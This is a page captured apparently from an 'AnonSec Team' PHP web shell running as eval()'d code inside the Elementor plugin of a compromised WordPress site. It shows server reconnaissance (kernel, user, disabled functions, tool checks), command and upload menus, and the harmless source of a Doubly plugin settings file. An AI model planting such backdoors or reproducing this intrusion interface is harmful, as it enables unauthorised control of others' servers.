AnonSec Team
Server IP : 172.19.0.4  /  Your IP : 216.73.216.90
Web Server : nginx/1.28.3
System : Linux VM-0-4-debian 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/data1/wwwroot/sc-forklift.com/:/tmp/) in /data1/wwwroot/sc-forklift.com/wp-content/plugins/elementor/elementor.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /data1/wwwroot/sc-forklift.com/wp-content/plugins/wp-optimize/../doubly/views/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /data1/wwwroot/sc-forklift.com/wp-content/plugins/wp-optimize/../doubly/views/settings.php
<?php	
/**
 * @package Doubly
 * @author Unlimited Elements
 * @copyright (C) 2022 Unlimited Elements, All Rights Reserved. 
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 **/

if(!defined("DOUBLY_INC")) die("restricted access");

class Doubly_PluginViewSettings{

	
	/**
	 * constructor
	 */
	public function __construct(){
		
		$this->putViewHtml();
		
	}

	/**
	 * draw save settings button
	 */
	protected function drawSaveSettingsButton(){
				
		$prefix="doubly_settings";
		
		$buttonText = esc_html__("Save Settings", "doubly");
		
		$addParams = "";		
		
		?>
			<div class="uc-button-action-wrapper">
			
				<a id="<?php echo esc_attr($prefix)?>_button_save_settings" data-prefix="<?php echo esc_attr($prefix)?>" <?php echo UniteFunctionsDOUBLY::escapeField($addParams)?> class="unite-button-primary doubly-button-save-settings" href="javascript:void(0)"><?php echo esc_html($buttonText)?></a>
				
				<div style="padding-top:6px;">
					
					<span id="<?php echo esc_attr($prefix)?>_loader_save" class="loader_text" style="display:none"><?php esc_html_e("Saving...", "doubly")?></span>
					<span id="<?php echo esc_attr($prefix)?>_message_saved" class="unite-color-green" style="display:none"></span>
					
				</div>
			</div>
			
			<div class="unite-clear"></div>
			
			<div id="<?php echo esc_attr($prefix)?>_save_settings_error" class="unite_error_message" style="display:none"></div>
			
		<?php 
	}
	
	
	/**
	 * put view html
	 */
	private function putViewHtml(){
		
		$nonce = HelperDOUBLY::getNonce();
		
		$settingsName = GlobalsDOUBLY::OPTIONS_GROUP_NAME;
				
		$settings = HelperDOUBLY::getGeneralSettingsObject();
		
		$formID = "doubly_general_settings";
		
		$output = new UniteSettingsOutputWideDOUBLY();
		$output->init($settings);
		$output->setFormID($formID);
		
		//$output->setShowSaps();
		
		$title = __("Doubly Settings","doubly");
				
		if(GlobalsDOUBLY::$isProVersion == true)
			$title = __("Doubly Pro Settings","doubly");
		
		
		?>
			<div class="wrap" id="uc_settings_page_wrapper">
		  
		    <div id="div_debug" class="unite-div-debug" style="display:none"></div>
			
			<h1><?php echo esc_html($title)?></h1>		
				
				<br><br>
				
				<?php if(GlobalsDOUBLY::$isProVersion == true && GlobalsDOUBLY::$isProActive == false):?>
				<p class="doubly-error-message"><?php _e("Doubly Pro is not active, please activate from plugins list view","doubly")?></p>
				<?php endif?>
				
				<div class="doubly-main-settings-wrapper">
					<?php 
					$output->draw("doubly_main_settings",true);
					?>
				</div>				
				
				<br>
				<?php
				$this->drawSaveSettingsButton();
				?>
				
			</div>
<script>

var g_doublyNonce = "<?php echo UniteFunctionsDOUBLY::escapeField($nonce) ?>";
var g_urlAjaxActionsDOUBLY = "<?php echo GlobalsDOUBLY::$urlAjax?>";

jQuery(document).ready(function(){
	
	var objSettingsView = new DOUBLY_SettingsView();
	objSettingsView.init();
	
});

</script>

<?php 
	}
	
}

new Doubly_PluginViewSettings();

AnonSec - 2021